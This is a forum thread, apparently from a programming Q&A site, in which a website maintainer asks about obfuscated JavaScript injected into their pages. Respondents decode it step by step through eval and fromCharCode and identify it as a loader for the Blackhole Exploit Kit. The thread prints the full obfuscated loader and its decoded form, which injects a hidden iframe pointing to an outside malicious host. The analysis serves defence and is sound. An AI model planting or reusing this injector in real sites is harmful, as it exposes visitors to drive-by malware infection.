This code has been popping up accross a website I've been maintaining, any clue on what's happening here?

if (window.document) aa = [] + 0;
aaa = 0 + [];
if (aa.indexOf(aaa) === 0) {
    ss = '';
    try {
        new location(12);
    } catch (qqq) {
        s = String;
        f = 'f' + 'r' + 'o' + 'm' + 'C' + 'har';
        f += 'Code';
    }
    ee = 'e';
    e = window.eval;
    t = 'y';
}
h = Math.round(-4 * Math.tan(Math.atan(0.5)));
n = "3.5a3.5a51.5a50a15a19a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a19.5a60.5a3.5a3.5a3.5a51.5a50a56a47.5a53.5a49.5a56a19a19.5a28.5a3.5a3.5a61.5a15a49.5a53a56.5a49.5a15a60.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a58.5a56a51.5a57a49.5a19a16a29a51.5a50a56a47.5a53.5a49.5a15a56.5a56a48.5a29.5a18.5a51a57a57a55a28a22.5a22.5a57.5a55a49a47.5a57a49.5a21.5a52.5a48a23.5a27a26a24a27a24.5a23.5a23.5a22a48.5a54.5a53.5a22.5a48.5a51a49.5a48.5a52.5a22a55a51a55a30.5a49a47.5a57a49.5a29.5a23a27a49.5a47.5a48.5a49.5a47.5a48.5a48.5a48.5a25.5a25a26a47.5a25.5a24.5a18.5a15a58.5a51.5a49a57a51a29.5a18.5a23.5a23a18.5a15a51a49.5a51.5a50.5a51a57a29.5a18.5a23.5a23a18.5a15a56.5a57a59.5a53a49.5a29.5a18.5a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a28a51a51.5a49a49a49.5a54a28.5a55a54.5a56.5a51.5a57a51.5a54.5a54a28a47.5a48a56.5a54.5a53a57.5a57a49.5a28.5a53a49.5a50a57a28a23a28.5a57a54.5a55a28a23a28.5a18.5a30a29a22.5a51.5a50a56a47.5a53.5a49.5a30a16a19.5a28.5a3.5a3.5a61.5a3.5a3.5a50a57.5a54a48.5a57a51.5a54.5a54a15a51.5a50a56a47.5a53.5a49.5a56a19a19.5a60.5a3.5a3.5a3.5a58a47.5a56a15a50a15a29.5a15a49a54.5a48.5a57.5a53.5a49.5a54a57a22a48.5a56a49.5a47.5a57a49.5a33.5a53a49.5a53.5a49.5a54a57a19a18.5a51.5a50a56a47.5a53.5a49.5a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a56.5a56a48.5a18.5a21a18.5a51a57a57a55a28a22.5a22.5a57.5a55a49a47.5a57a49.5a21.5a52.5a48a23.5a27a26a24a27a24.5a23.5a23.5a22a48.5a54.5a53.5a22.5a48.5a51a49.5a48.5a52.5a22a55a51a55a30.5a49a47.5a57a49.5a29.5a23a27a49.5a47.5a48.5a49.5a47.5a48.5a48.5a48.5a25.5a25a26a47.5a25.5a24.5a18.5a19.5a28.5a50a22a56.5a57a59.5a53a49.5a22a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a29.5a18.5a51a51.5a49a49a49.5a54a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a55a54.5a56.5a51.5a57a51.5a54.5a54a29.5a18.5a47.5a48a56.5a54.5a53a57.5a57a49.5a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a53a49.5a50a57a29.5a18.5a23a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a57a54.5a55a29.5a18.5a23a18.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a58.5a51.5a49a57a51a18.5a21a18.5a23.5a23a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a51a49.5a51.5a50.5a51a57a18.5a21a18.5a23.5a23a18.5a19.5a28.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a22a47.5a55a55a49.5a54a49a32.5a51a51.5a53a49a19a50a19.5a28.5a3.5a3.5a61.5".split("a");

Looks like obfuscated attack code, although I don't see what it does. – Greenheart
You should probably try to figure out what it does by looking at it in reverse and figuring out how each var is calculated, one by one. – Greenheart
Nah, you just run it and dump q to the console =p – Joubert
@GGG: Isn't that how you figure out how stuff is calculated? – Greenheart
@bvukelic maybe we're saying the same thing, yeah. – Joubert

It injects the following iframe:

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='http://update-kb18628311.com/check.php?date=08eaceaccc546a53' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://update-kb18628311.com/check.php?date=08eaceaccc546a53');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

It's not very complicated, let's go through it (you can verify this all yourself in the console easily):

if (window.document) aa = [] + 0;
aaa = 0 + [];

If we check the console: aa === "0" and aaa === "0" so the next if evaluates to true:

if (aa.indexOf(aaa) === 0) {
    ss = '';
    try {
        new location(12);
    } catch (qqq) {
        s = String;
        f = 'f' + 'r' + 'o' + 'm' + 'C' + 'har';
        f += 'Code';
    }
    ee = 'e';
    e = window.eval;
    t = 'y';
}

All that's done here is we've shortcutted the eval function for later use, and built a string f === "fromCharCode" that we'll use to call String.fromCharCode to convert the ascii code into actual javascript commands in a moment.

h = Math.round(-4 * Math.tan(Math.atan(0.5)));
n = "..." // ascii based code
for (i = 0; i - n.length < 0; i++) {
    j = i;
    ss = ss + s[f](-h * (1 + 1 * n[j]));
}

In the loop we simply build the string as mentioned. The trig stuff is just to confuse I suppose, although it isn't very confusing.

q = ss;
if (f) e(q);

And finally the if(f) will evaluate to true since f is a nonempty string and so we call e which is the eval shortcut we made earlier, with the string we built from the code. The resulting code I pasted at the top.

this is what the code evaluates to :

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='http://update-kb18628311.com/check.php?date=08eaceaccc546a53' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://update-kb18628311.com/check.php?date=08eaceaccc546a53');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

It looks like a virus

So the site you are maintaining is probably vulnerable at some point. someone injected this code into the site; either through XSS and/or SQL Injection

It could also have been hand-included by a disgruntled employee, uploaded through insecure FTP or SFTP configurations, injected into the code via a browser insecurity over mounted filesystems, lots of different ways it could show up. – Soutache

Check console output to see what the code is trying to eval:

It's a forwarding link to the Blackhole Exploit Kit. It's most likely trying to install Zeus/Zbot on your machine. Protect yourself by disabling JavaScript or running an browser plugin link noscript.
